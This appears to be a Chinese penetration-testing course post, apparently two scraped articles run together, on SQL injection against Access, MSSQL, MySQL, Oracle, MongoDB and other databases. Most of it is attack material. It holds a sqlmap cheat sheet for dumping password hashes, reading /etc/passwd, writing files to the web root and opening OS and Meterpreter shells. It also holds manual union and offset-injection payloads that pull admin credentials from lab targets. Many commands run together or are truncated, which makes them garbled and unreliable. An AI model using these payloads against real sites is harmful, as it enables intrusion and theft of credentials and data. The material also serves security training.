1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db --users --passwords --dbs -v 02./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --passwords -U root --union-use -v 23./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -T users -C username -D userdb --start 2 --stop 3 -v 24./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -C "user,pass" -v 1 --exclude-sysdbs5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --sql-shell -v 26./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-read "c:\boot.ini" -v 27./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 28./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-cmd "id" -v 19./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-shell --union-use -v 210./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 111./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 -v 112./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-bof --msf-path=/opt/framework/msf3 -v 113./sqlmap.py -u http://www.xxxxx.com/test.php?p=2--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=114./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --eta15./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B -p id --prefix "')" --suffix "AND ('abc'='abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --auth-type Basic --auth-cred "testuser:testpass"17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"18./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 319./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --sql-query "SELECT 'foo'" -v 120./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --common-tables -D testdb --banner21./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
簡(jiǎn)單的注入流程 :
1.讀取數據庫版本,當前用戶(hù),當前數據庫
sqlmap -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db -v 1
2.判斷當前數據庫用戶(hù)權限
sqlmap -u http://www.xxxxx.com/test.php?p=2--privileges -U 用戶(hù)名 -v 1sqlmap -u http://www.xxxxx.com/test.php?p=2--is-dba -U 用戶(hù)名 -v 1
3.讀取所有數據庫用戶(hù)或指定數據庫用戶(hù)的密碼
sqlmap -u http://www.xxxxx.com/test.php?p=2--users --passwords -v 2sqlmap -u http://www.xxxxx.com/test.php?p=2--passwords -U root -v 2
4.獲取所有數據庫
sqlmap -u http://www.xxxxx.com/test.php?p=2--dbs -v 2
5.獲取指定數據庫中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2--tables -D mysql -v 2
6.獲取指定數據庫名中指定表的字段
sqlmap -u http://www.xxxxx.com/test.php?p=2--columns -D mysql -T users -v 2
7.獲取指定數據庫名中指定表中指定字段的數據
sqlmap -u http://www.xxxxx.com/test.php?p=2--dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read讀取web文件
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-read "/etc/passwd" -v 2
9.file-write寫(xiě)入文件到web
sqlmap -u http://www.xxxxx.com/test.php?p=2--file-write /localhost/mm.php --file使用sqlmap繞過(guò)防火墻進(jìn)行注入測試
sqlmap詳細命令
–is-dba 當前用戶(hù)權限(是否為root權限)–dbs 所有數據庫–current-db 網(wǎng)站當前數據庫–users 所有數據庫用戶(hù)–current-user 當前數據庫用戶(hù)–random-agent 構造隨機user-agent–passwords 數據庫密碼–proxy http://local:8080 –threads 10 (可以自定義線(xiàn)程加速) 代理–time-sec=TIMESEC DBMS響應的延遲時(shí)間(默認為5秒)——————————————————————————————————
Options(選項)
–version 顯示程序的版本號并退出
-h, –help 顯示此幫助消息并退出-v VERBOSE 詳細級別:0-6(默認為1)保存進(jìn)度繼續跑:sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存進(jìn)度sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢復已保存進(jìn)度
Target(目標)
以下至少需要設置其中一個(gè)選項,設置目標URL。-d DIRECT 直接連接到數據庫。-u URL, –url=URL 目標URL。-l LIST 從Burp或WebScarab代理的日志中解析目標。-r REQUESTFILE 從一個(gè)文件中載入HTTP請求。-g GOOGLEDORK 處理Google dork的結果作為目標URL。-c CONFIGFILE 從INI配置文件中加載選項。
Request(請求)
這些選項可以用來(lái)指定如何連接到目標URL。–data=DATA 通過(guò)POST發(fā)送的數據字符串–cookie=COOKIE HTTP Cookie頭–cookie-urlencode URL 編碼生成的cookie注入–drop-set-cookie 忽略響應的Set – Cookie頭信息–user-agent=AGENT 指定 HTTP User – Agent頭–random-agent 使用隨機選定的HTTP User – Agent頭–referer=REFERER 指定 HTTP Referer頭–headers=HEADERS 換行分開(kāi),加入其他的HTTP頭–auth-type=ATYPE HTTP身份驗證類(lèi)型(基本,摘要或NTLM)(Basic, Digest or NTLM)–auth-cred=ACRED HTTP身份驗證憑據(用戶(hù)名:密碼)–auth-cert=ACERT HTTP認證證書(shū)(key_file,cert_file)–proxy=PROXY 使用HTTP代理連接到目標URL–proxy-cred=PCRED HTTP代理身份驗證憑據(用戶(hù)名:密碼)–ignore-proxy 忽略系統默認的HTTP代理–delay=DELAY 在每個(gè)HTTP請求之間的延遲時(shí)間,單位為秒–timeout=TIMEOUT 等待連接超時(shí)的時(shí)間(默認為30秒)–retries=RETRIES 連接超時(shí)后重新連接的時(shí)間(默認3)–scope=SCOPE 從所提供的代理日志中過(guò)濾器目標的正則表達式–safe-url=SAFURL 在測試過(guò)程中經(jīng)常訪(fǎng)問(wèn)的url地址–safe-freq=SAFREQ 兩次訪(fǎng)問(wèn)之間測試請求,給出安全的URL
Enumeration(枚舉)
這些選項可以用來(lái)列舉后端數據庫管理系統的信息表中的結構和數據此外,您還可以運行您自己的SQL語(yǔ)句。-b, –banner 檢索數據庫管理系統的標識–current-user 檢索數據庫管理系統當前用戶(hù)–current-db 檢索數據庫管理系統當前數據庫–is-dba 檢測DBMS當前用戶(hù)是否DBA–users 枚舉數據庫管理系統用戶(hù)–passwords 枚舉數據庫管理系統用戶(hù)密碼哈希–privileges 枚舉數據庫管理系統用戶(hù)的權限–roles 枚舉數據庫管理系統用戶(hù)的角色–dbs 枚舉數據庫管理系統數據庫-D DBname 要進(jìn)行枚舉的指定數據庫名-T TBLname 要進(jìn)行枚舉的指定數據庫表(如:-T tablename –columns)–tables 枚舉的DBMS數據庫中的表–columns 枚舉DBMS數據庫表列–dump 轉儲數據庫管理系統的數據庫中的表項–dump-all 轉儲所有的DBMS數據庫表中的條目–search 搜索列(S),表(S)和/或數據庫名稱(chēng)(S)-C COL 要進(jìn)行枚舉的數據庫列-U USER 用來(lái)進(jìn)行枚舉的數據庫用戶(hù)–exclude-sysdbs 枚舉表時(shí)排除系統數據庫–start=LIMITSTART 第一個(gè)查詢(xún)輸出進(jìn)入檢索–stop=LIMITSTOP 最后查詢(xún)的輸出進(jìn)入檢索–first=FIRSTCHAR 第一個(gè)查詢(xún)輸出字的字符檢索–last=LASTCHAR 最后查詢(xún)的輸出字字符檢索–sql-query=QUERY 要執行的SQL語(yǔ)句–sql-shell 提示交互式SQL的shell
Optimization(優(yōu)化)
這些選項可用于優(yōu)化SqlMap的性能。-o 開(kāi)啟所有優(yōu)化開(kāi)關(guān)–predict-output 預測常見(jiàn)的查詢(xún)輸出–keep-alive 使用持久的HTTP(S)連接–null-connection 從沒(méi)有實(shí)際的HTTP響應體中檢索頁(yè)面長(cháng)度–threads=THREADS 最大的HTTP(S)請求并發(fā)量(默認為1)
Injection(注入)
這些選項可以用來(lái)指定測試哪些參數提供自定義的注入payloads和可選篡改腳本。-p TESTPARAMETER 可測試的參數(S)–dbms=DBMS 強制后端的DBMS為此值–os=OS 強制后端的DBMS操作系統為這個(gè)值–prefix=PREFIX 注入payload字符串前綴–suffix=SUFFIX 注入payload字符串后綴–tamper=TAMPER 使用給定的腳本(S)篡改注入數據
Detection(檢測)
這些選項可以用來(lái)指定在SQL盲注時(shí)如何解析和比較HTTP響應頁(yè)面的內容。–level=LEVEL 執行測試的等級(1-5,默認為1)–risk=RISK 執行測試的風(fēng)險(0-3,默認為1)–string=STRING 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配字符串–regexp=REGEXP 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配正則表達式–text-only 僅基于在文本內容比較網(wǎng)頁(yè)
Techniques(技巧)
這些選項可用于調整具體的SQL注入測試。–technique=TECH SQL注入技術(shù)測試(默認BEUST)–time-sec=TIMESEC DBMS響應的延遲時(shí)間(默認為5秒)–union-cols=UCOLS 定列范圍用于測試UNION查詢(xún)注入–union-char=UCHAR 用于暴力猜解列數的字符
Fingerprint(指紋)
-f, –fingerprint 執行檢查廣泛的DBMS版本指紋
Brute force(蠻力)
這些選項可以被用來(lái)運行蠻力檢查。–common-tables 檢查存在共同表–common-columns 檢查存在共同列
User-defined function injection
?。ㄓ脩?hù)自定義函數注入)
這些選項可以用來(lái)創(chuàng )建用戶(hù)自定義函數。–udf-inject 注入用戶(hù)自定義函數–shared-lib=SHLIB 共享庫的本地路徑
File system access(訪(fǎng)問(wèn)文件系統)
這些選項可以被用來(lái)訪(fǎng)問(wèn)后端數據庫管理系統的底層文件系統。–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件–file-dest=DFILE 后端的數據庫管理系統寫(xiě)入文件的絕對路徑
Operating system access
?。ú僮飨到y訪(fǎng)問(wèn))
這些選項可以用于訪(fǎng)問(wèn)后端數據庫管理系統的底層操作系統。–os-cmd=OSCMD 執行操作系統命令–os-shell 交互式的操作系統的shell–os-pwn 獲取一個(gè)OOB shell,meterpreter或VNC–os-smbrelay 一鍵獲取一個(gè)OOB shell,meterpreter或VNC–os-bof 存儲過(guò)程緩沖區溢出利用–priv-esc 數據庫進(jìn)程用戶(hù)權限提升–msf-path=MSFPATH Metasploit Framework本地的安裝路徑–tmp-path=TMPPATH 遠程臨時(shí)文件目錄的絕對路徑Windows注冊表訪(fǎng)問(wèn):這些選項可以被用來(lái)訪(fǎng)問(wèn)后端數據庫管理系統Windows注冊表。–reg-read 讀一個(gè)Windows注冊表項值–reg-add 寫(xiě)一個(gè)Windows注冊表項值數據–reg-del 刪除Windows注冊表鍵值–reg-key=REGKEY Windows注冊表鍵–reg-value=REGVAL Windows注冊表項值–reg-data=REGDATA Windows注冊表鍵值數據–reg-type=REGTYPE Windows注冊表項值類(lèi)型這些選項可以用來(lái)設置一些一般的工作參數。-t TRAFFICFILE 記錄所有HTTP流量到一個(gè)文本文件中-s SESSIONFILE 保存和恢復檢索會(huì )話(huà)文件的所有數據–flush-session 刷新當前目標的會(huì )話(huà)文件–fresh-queries 忽略在會(huì )話(huà)文件中存儲的查詢(xún)結果–eta 顯示每個(gè)輸出的預計到達時(shí)間–update 更新SqlMap–save file保存選項到INI配置文件–batch 從不詢(xún)問(wèn)用戶(hù)輸入,使用所有默認配置。
Miscellaneous(雜項)
–beep 發(fā)現SQL注入時(shí)提醒–check-payload IDS對注入payloads的檢測測試–cleanup SqlMap具體的UDF和表清理DBMS–forms 對目標URL的解析和測試形式–gpage=GOOGLEPAGE 從指定的頁(yè)碼使用谷歌dork結果–page-rank Google dork結果顯示網(wǎng)頁(yè)排名(PR)–parse-errors 從響應頁(yè)面解析數據庫管理系統的錯誤消息–replicate 復制轉儲的數據到一個(gè)sqlite3數據庫–tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址–wizard 給初級用戶(hù)的簡(jiǎn)單向導界面
思維導圖
涉及資源https://www.cnblogs.com/bmjoke ... %3Bbr />https://blog.csdn.net/qq_39936 ... .html
案例演示1. Access注入用sqlmap判斷數據庫類(lèi)型
嘗試猜字段數,order by 5時(shí)網(wǎng)頁(yè)有回顯,所以字段數為4:46604/new_list.asp?id=1 order by 5
Access只是單純的數據庫,只有數據,沒(méi)有數據庫名,數據庫版本,操作系統等功能,沒(méi)有information_shcema??芍苯硬樵?xún)數據,獲取表名,列名。嘗試聯(lián)合注入查詢(xún)時(shí)沒(méi)有反應:46604/new_list.asp?id=-1 union select 1,2,3,4
用猜解方式猜解表名,列名(常用的一些表名,如admin,admin_login等)網(wǎng)頁(yè)出現回顯:46604/new_list.asp?id=-1 union select 1,2,3,4 from admin
在回顯位嘗試猜解字段
使用sqlmap跑出來(lái)的結果是一樣的:sqlmap -u :49010/new_list.asp?id=1 -T admin --colimns
sqlmap -u :49010/new_list.asp?id=1 -T admin -C username,passwd --dump
2. Access偏移注入偏移注入的使用目前猜測出了表名,但是怎么都猜不出列名,使用聯(lián)合查詢(xún)法來(lái)進(jìn)行偏移注入
接下來(lái)測出偏移量,其實(shí)這個(gè)偏移量就是admin這張表的列的個(gè)數。直接將22改成*號,測試是否回顯正常,不正常就一直往前減,一直減少到回顯正常為止。
這里運氣比較好,直接就爆出了密碼。但是還沒(méi)有用戶(hù)名呢,那么接下來(lái)可以打亂順序來(lái)重置爆出來(lái)的結果,這里可以使用下列方法來(lái)進(jìn)行完成。
從圖中可以看出已經(jīng)爆出了用戶(hù)名為admin了
簡(jiǎn)單說(shuō)下語(yǔ)句UNION?SELECT?1,2,3,*?from?(admin?as?a?inner?join?admin?as?b?on?a.id=b.id),首先為什么從union?select?1,2,3,4,5,6,*?from變成了1,2,3,*呢是這樣推導出來(lái)的:order by 9代表有9個(gè)回顯點(diǎn)1,2,3,4,5,6,*代表admin表的字段數只有3個(gè)admin表變成了(admin?as?a?inner?join?admin?as?b?on?a.id=b.id)這里是將admin重命名為了a和b兩張表然后通過(guò)inner?join?將a表和b表的id相同字段展示出來(lái)a表和b表本來(lái)都是admin表所以id肯定都是相同的(這里要提醒一下,id這個(gè)字段可以換成其它字段,但是一定得存在,一般admin表中都存在id字段的)這樣做的目的就是可以打亂順序來(lái)爆出其它字段但是由于增加了一張表所以字段數得再減少一個(gè)*號的長(cháng)度所以就從6變成了3
3.偏移注入的進(jìn)階
這樣爆東西非常有隨機性如果表的字段比較多而這個(gè)顯示位又比較少的話(huà)是很有可能爆不出自己想要的東西的所以接下來(lái)學(xué)習偏移注入進(jìn)階同樣通過(guò)order?by?和union?select找到了表為admin但是還是掃不出列名,這次回顯點(diǎn)有22個(gè)
測試admin的列的個(gè)數,最終長(cháng)度為6,而且這次什么都沒(méi)爆出來(lái)
開(kāi)始偏移注入,爆出的結果卻是時(shí)間
此時(shí)可以增加a.id或者b.id或者a.id和b.id一起加上去來(lái)打亂隨機的順序,時(shí)間確實(shí)換了,但是又不是我們想要的,這只是一個(gè)數字,可能是id值之類(lèi)的
查看網(wǎng)頁(yè)的源代碼,會(huì )有隱藏的驚喜
發(fā)現這里有隱藏起來(lái)的回顯點(diǎn),爆出來(lái)了用戶(hù)名為admin,但是還沒(méi)有密碼增加表的個(gè)數,修改代碼,UNION SELECT 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id),查看源代碼,成功拿到用戶(hù)名和密碼了。
3. SQL server/mssql
https://www.mozhe.cn/bug/detai ... mozhe
通過(guò)pangolin獲取所需數據:
還可以進(jìn)行命令執行和文件管理
key
##手工注入判斷是否是Mssql判斷是否是mssql數據庫,返回正常,說(shuō)明該數據庫是mssql
判斷數據庫版本號,返回正常,說(shuō)明版本號正確
判斷字段長(cháng)度order by 4正常,遍歷至5時(shí)報錯,說(shuō)明字段長(cháng)度為4
尋找字符型顯示位:44626/new_list.asp?id=-2 union all select null,null,null,null這里使用的是 union all,它和 union select 的區別就是:union select 會(huì )自動(dòng)去除一些重復的字段,在這個(gè)靶場(chǎng)使用 union select 是不行的,所以用 union all。使用null 是說(shuō)明它無(wú)關(guān)是字符型還是數字型
猜測顯示位:44626/new_list.asp?id=-2 union all select '1',null,null,null
:44626/new_list.asp?id=-2 union all select null,'2',null,null
:44626/new_list.asp?id=-2 union all select null,'2','3',null
查詢(xún)相關(guān)信息獲取版本信息:44626/new_list.asp?id=-2 union all select null,@@version,'3',null
獲取數據庫名:44626/new_list.asp?id=-2 union all select null,db_name(),'3',null
獲取當前用戶(hù)名:44626/new_list.asp?id=-2 union all select null,user,'3',null:44626/new_list.asp?id=-2 union all select null,system_user,'3',null:44626/new_list.asp?id=-2 union all select null,current_user,'3',null
查詢(xún)表名:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4注釋?zhuān)簄ame not in ('manage') 這段語(yǔ)句意思是查詢(xún) name 不是 'manage' 的,這樣就可以排除 'manage' 從而查詢(xún)下一個(gè)表名
announcement之后還是manage,說(shuō)明就這倆表
獲取列名:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null注釋?zhuān)篶ol_name 是查詢(xún)的列名,object_id('manage')是從manage這個(gè)表里查詢(xún),1 代表的是查詢(xún)第一個(gè)列名
這邊查詢(xún)出來(lái)第一個(gè)列名是 id,我們繼續查第二個(gè)列名只需要把數字1修改為2就行了col_name(object_id('manage'),2:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
查詢(xún)出來(lái)第二個(gè)列名是 username,我們繼續查詢(xún)第三個(gè)列名::44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
獲取數據:44626/new_list.asp?id=-2 union all select null,username,password,null from manage
4. PostgraSQL字段
sqlmap判斷數據庫種類(lèi)
查看表名
查看字段名
查看字段值
5. oracle
6. mongoDBNoSQLAttack支持mongoDB的注入工具
然后輸入x返回,輸入4進(jìn)入
往期內容回顧
大哥大哥行行好
一萬(wàn)字也不算少如有幫助請隨意打賞
查看全部
滲透測試培訓Day14 SQL注入之Oracle,MongoDB等注入
我喜歡一個(gè)人
就像喜歡一陣風(fēng)
藏在你心里
習桑前言
SQL作用在關(guān)系型數據庫上面什么是關(guān)系型數據庫?關(guān)系型數據庫是由一張張的二維表組成的?常見(jiàn)的關(guān)系型數據庫廠(chǎng)商有?MySQL、SQLite、SQL?Server、Oracle?由于MySQL是免費的?所以企業(yè)一般用MySQL的居多?Web?SQL是前端的數據庫?它也是本地存儲的一種?使用SQLite實(shí)現?SQLite是一種輕量級數據庫?它占的空間小?支持創(chuàng )建表,插入、修改、刪除表格數據?但是不支持修改表結構?如刪掉一縱列?修改表頭字段名等?但是可以把整張表刪了?同一個(gè)域可以創(chuàng )建多個(gè)DB?每個(gè)DB有若干張表。與數據庫產(chǎn)生交互就有可能存在注入攻擊不只是MySQL數據庫還有Oracle,MongoDB等數據庫也可能會(huì )存在注入攻擊
簡(jiǎn)要學(xué)習各種數據庫的注入特點(diǎn)
數據庫架構組成,數據庫高權限操作
簡(jiǎn)要了解各數據庫
Access,Mysqlmssql(Microsoft?SQL?server)mongoDB,postgresqlsqlite,oracle,sybase等<br />Access 表名 列名 數據<br />Access數據庫保存在網(wǎng)站源碼下面自己網(wǎng)站數據庫獨立存在所以無(wú)法進(jìn)行跨庫也沒(méi)有文件讀寫(xiě)的操作
除了Access其他數據庫組成架構基本都是大同小異。<br />mysql mssql等數據庫名A 表名列名 數據 數據庫名B。。。。。。<br />每個(gè)數據庫功能不同,我們采取注入的時(shí)候攻入方式不同<br />什么決定網(wǎng)站注入點(diǎn)用戶(hù)權限?數據庫配置文件的用戶(hù),是誰(shuí)連接的
Access偏移注入
如果遇到列名猜解不到的情況,則可以使用Access偏移注入原理<br />借用數據庫的自連接查詢(xún)讓數據庫內部發(fā)生亂序從而偏移出所需要的字段在我們的頁(yè)面上顯示用途<br />解決知道Access數據庫中知道表名,但是得不到字段的sql注入困境特點(diǎn)<br />a. 成功與否看技巧與運氣,不能保證100%成功。b. 無(wú)需管理員賬號密碼字段,直接爆賬號密碼利用條件<br />a. 已知管理表名b. 已知任意字段(一個(gè)或多個(gè)會(huì )增加機率,最常見(jiàn)的就是id)影響偏移注入成功因素<br />a. 管理表的字段數越少越好(最好是三個(gè):id 賬號字段 密碼字段)b. 當前注入點(diǎn)的腳本內查詢(xún)的表內的字段數越多越好流程<br />a. 判斷字段數b. 判斷表名c. 開(kāi)始偏移注入<br />
本地Access偏移注入靶場(chǎng)
偏移量就是逐步增加或遞減直到出現結果。*表示可代替的字符串用*代替22,返回界面依舊報錯然后用*代替21,依次遞減22-16=6,6表示該表中的列名個(gè)數
*代表6個(gè),后面一串字符代表兩倍,就相當于2倍*,12個(gè)
爆列名數據
一級偏移語(yǔ)句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)二級偏移語(yǔ)句:union?select?1,2,3,4,a.id,b.id,c.id,*?from?((admin?as?a?inner?join?admin?as?b?on?a.id?=?b.id)inner?join?admin?as?c?on?a.id=c.id)
二級偏移,3倍*,所以為18個(gè)
查看登錄框源代碼的表單值或觀(guān)察URL特征等也可以針對表或列獲取不到的情況猜解表名可能是ZB_admin,觀(guān)察網(wǎng)站地址特征,是否有前綴。
或者看登錄框表單值
SQL server/MSSQL注入
7.1介紹
Microsoft SQL Server 是一個(gè)全面的數據庫平臺,使用集成的商業(yè)智能 (BI)工具提供了企業(yè)級的數據管理。Microsoft SQL Server 數據庫引擎為關(guān)系型數據和結構化數據提供了更安全可靠的存儲功能,使您可以構建和管理用于業(yè)務(wù)的高可用和高性能的數據應用程序。
7.2過(guò)程
?、倥袛鄶祿祛?lèi)型
and exists (select * from sysobjects)--返回正常為mssql(也名sql server)and exists (select count(*) from sysobjects)--有時(shí)上面那個(gè)語(yǔ)句不行就試試這個(gè)哈
?、谂袛鄶祿彀姹?br /> and?1=@@version--這個(gè)語(yǔ)句要在有回顯的模式下才可以哦and?substring((select??@@version),22,4)='2008'--適用于無(wú)回顯模式,后面的2008就是數據庫版本,?????????返回正常就是2008的復制代碼第一條語(yǔ)句執行效果圖(類(lèi)似):第二條語(yǔ)句執行效果圖:(如果是???????????? 2008的話(huà)就返回正常)
?、郢@取所有數據庫的個(gè)數 (一下3條語(yǔ)句可供選擇使用)
1. and 1=(select quotename(count(name)) from master..sysdatabases)--2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --???and?1=(select?cast(count(name)?as?varchar)%2bchar(1)?from?master..sysdatabases?where?dbid>5)?--說(shuō)明:dbid從1-4的數據庫一般為系統數據庫.
?、莴@取數據庫 (該語(yǔ)句是一次性獲取全部數據庫的,且語(yǔ)句只適合>=2005,兩條語(yǔ)句可供選擇使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?master..sysdatabases?FOR?XML?PATH(''))--
?、瞢@取當前數據庫
and db_name()>0and 1=(select db_name())--
?、攉@取當前數據庫中的表(有2個(gè)語(yǔ)句可供選擇使用)【下列語(yǔ)句可一次爆數據庫所有表(只限于 mssql2005及以上版本)】
and?1=(select?quotename(name)?from?數據庫名..sysobjects?where?xtype='U'?FOR?XML?PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?數據庫名..sysobjects?where?xtype='U'??FOR?XML?PATH(''))--
?、喃@得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):and?1=(select?quotename(name)?from?數據庫名..syscolumns?where?id?=(select??id?from?數據庫名..sysobjects?where?name='指定表名')?FOR?XML?PATH(''))--?and?1=(select?'|'%2bname%2b'|'?from?數據庫名..syscolumns?where?id?=(select??id?from?數據庫名..sysobjects?where?name='指定表名')?FOR?XML?PATH(''))--
?、岖@取指定數據庫中的表的列的數據庫
逐條爆指定表的所有字段的數據(只限于mssql2005及以上版本):and?1=(select?top?1?*?from?指定數據庫..指定表名?where排除條件?FOR?XML?PATH(''))--一次性爆N條所有字段的數據(只限于mssql2005及以上版本):and?1=(select?top?N?*?from?指定數據庫..指定表名?FOR?XML?PATH(''))--復制代碼第一條語(yǔ)句:and 1=(select top 1 * from 指定數據庫..指定表名 FOR XML PATH(''))--測試效果圖:----------------------------------加上where條件篩選結果出來(lái)會(huì )更加好,如:where and name like '%user%'??就會(huì )篩選出含有user關(guān)鍵詞的出來(lái)。用在篩選表段時(shí)很不錯。
轉自:http://www.myhack58.com/Articl ... 6.htm
PostgraSQL注入原理
https://www.webshell.cc/524.ht ... a2c2e
Oracle注入
https://www.cnblogs.com/peterp ... .html
MongoDB注入
https://blog.csdn.net/weixin_3 ... .html
各數據庫手工注入
MySQL:1.找到注入點(diǎn) and 1=1 and 1=2 測試報錯2.order by 5 # 到5的時(shí)候報錯,獲取字段總數為43.id=0(不是1就行,強行報錯) union select 1,2,3,4 # 聯(lián)合查詢(xún),2和3可以顯示信息4.獲取數據庫信息user() ==>rootdatabase() ==>mozhe_Discuz_StormGroupversion() ==>5.7.22-0ubuntu0.16.04.15.獲取數據庫表table_name 表名information_schema.tables 系統生成信息表table_schema=數據庫名16進(jìn)制或者用單引號括起來(lái)改變limit 0,1中前一個(gè)參數,得到兩個(gè)表 StormGroup_member notice6.獲取列名結果如下 id,name,password,status7.脫褲<br />Access:1.and 1=2 報錯找到注入點(diǎn)2.order by 獲取總字段3.猜解表名 and exists (select * from admin) 頁(yè)面返回正常,說(shuō)明存在admin表4.猜解列名 and exists(select id from admin) 頁(yè)面顯示正常,admin表中存在id列 username,passwd 同樣存在5.脫褲 union select 1,username,passwd,4 from adminMSSQL:1.and 1=2報錯2.order by N# 獲取總字段3.猜表名 and exists(select * from manage) 表名manage存在4.猜解列名 and exists(select id from manage) 列名id存在,同樣username,password也存在5.脫褲 and exists (select id from manage where id=1 ) 證明id=1存在and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段長(cháng)度為8and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段長(cháng)度為16可用Burp的Intruder功能輔助猜解猜解username第1到8位的字符,ASCII轉碼 admin_mz猜解password第1到16位的字符,ASCII轉碼(Burp 爆破)轉ASCII的py腳本:72e1bfc3f01b7583 MD5解密為97285101<br />SQLite:1.找注入點(diǎn) and 1=12.order by N 猜字段 43.猜數據庫offset ==>0~2有三個(gè)數據庫:WSTMart_regnotice_sybasesqlite_sequence4.猜列共有3個(gè)字段:id,name,password5.脫褲<br />MongoDB:1.id=1′ 單引號注入報錯2.閉合語(yǔ)句,查看所有集合3.查看指定集合的數據[0] 代表第一條數據,可遞增<br />DB2:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取字段數3.爆當前數據庫GAME_CHARACTER4.列表NAME5.脫褲<br />PostgreSQL:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取字段3.爆數據庫4.列表5.列字段6.拖庫<br />Sybase數據庫:1.and 1=2 判斷注入點(diǎn)2.order by N 獲取總字段3.爆數據庫4.列表5.列字段6.查狀態(tài)結果為:zhang7.反選爆用戶(hù)名結果為:mozhe8.猜解密碼<br />Oracle:1.and 1=12.order by3.爆數據庫4.列表5.列字段6.拖庫加上狀態(tài):1 where STATUS=1
簡(jiǎn)要學(xué)習各種注入工具的使用指南
熟悉工具的主持庫,注入模式,優(yōu)缺點(diǎn)等sqlmap,NoSQLAttack,Pangolin等
sqlmap基本操作sqlmap簡(jiǎn)介sqlmap支持五種不同的注入模式:
1、基于布爾的盲注即可以根據返回頁(yè)面判斷條件真假的注入2、基于時(shí)間的盲注即不能根據頁(yè)面返回內容判斷任何信息用條件語(yǔ)句查看時(shí)間延遲語(yǔ)句是否執行(即頁(yè)面返回時(shí)間是否增加)來(lái)判斷。3、基于報錯注即頁(yè)面會(huì )返回錯誤信息或者把注入的語(yǔ)句的結果直接返回在頁(yè)面中4、聯(lián)合查詢(xún)注入可以使用union的情況下的注入5、堆查詢(xún)注入可以同時(shí)執行多條語(yǔ)句的執行時(shí)的注入
sqlmap支持的數據庫有:
MySQL,?Oracle,?PostgreSQLMicrosoft?SQL?ServerMicrosoft?Access,?IBM?DB2SQLite,?Firebird,Sybase和SAP?MaxDB
檢測注入:
基本格式sqlmap -u “http://www.vuln.cn/post.php?id=1”默認使用level1檢測全部數據庫類(lèi)型sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3指定數據庫類(lèi)型為mysql,級別為3(共5級,級別越高,檢測越全面)跟隨302跳轉當注入頁(yè)面錯誤的時(shí)候,自動(dòng)跳轉到另一個(gè)頁(yè)面的時(shí)候需要跟隨302,當注入錯誤的時(shí)候,先報錯再跳轉的時(shí)候,不需要跟隨302。目的就是:要追蹤到錯誤信息。
cookie注入
當程序有防get注入的時(shí)候,可以使用cookie注入sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level達到2才會(huì )檢測cookie)
從post數據包中注入
可以使用burpsuite或者temperdata等工具來(lái)抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username參數
注入成功后
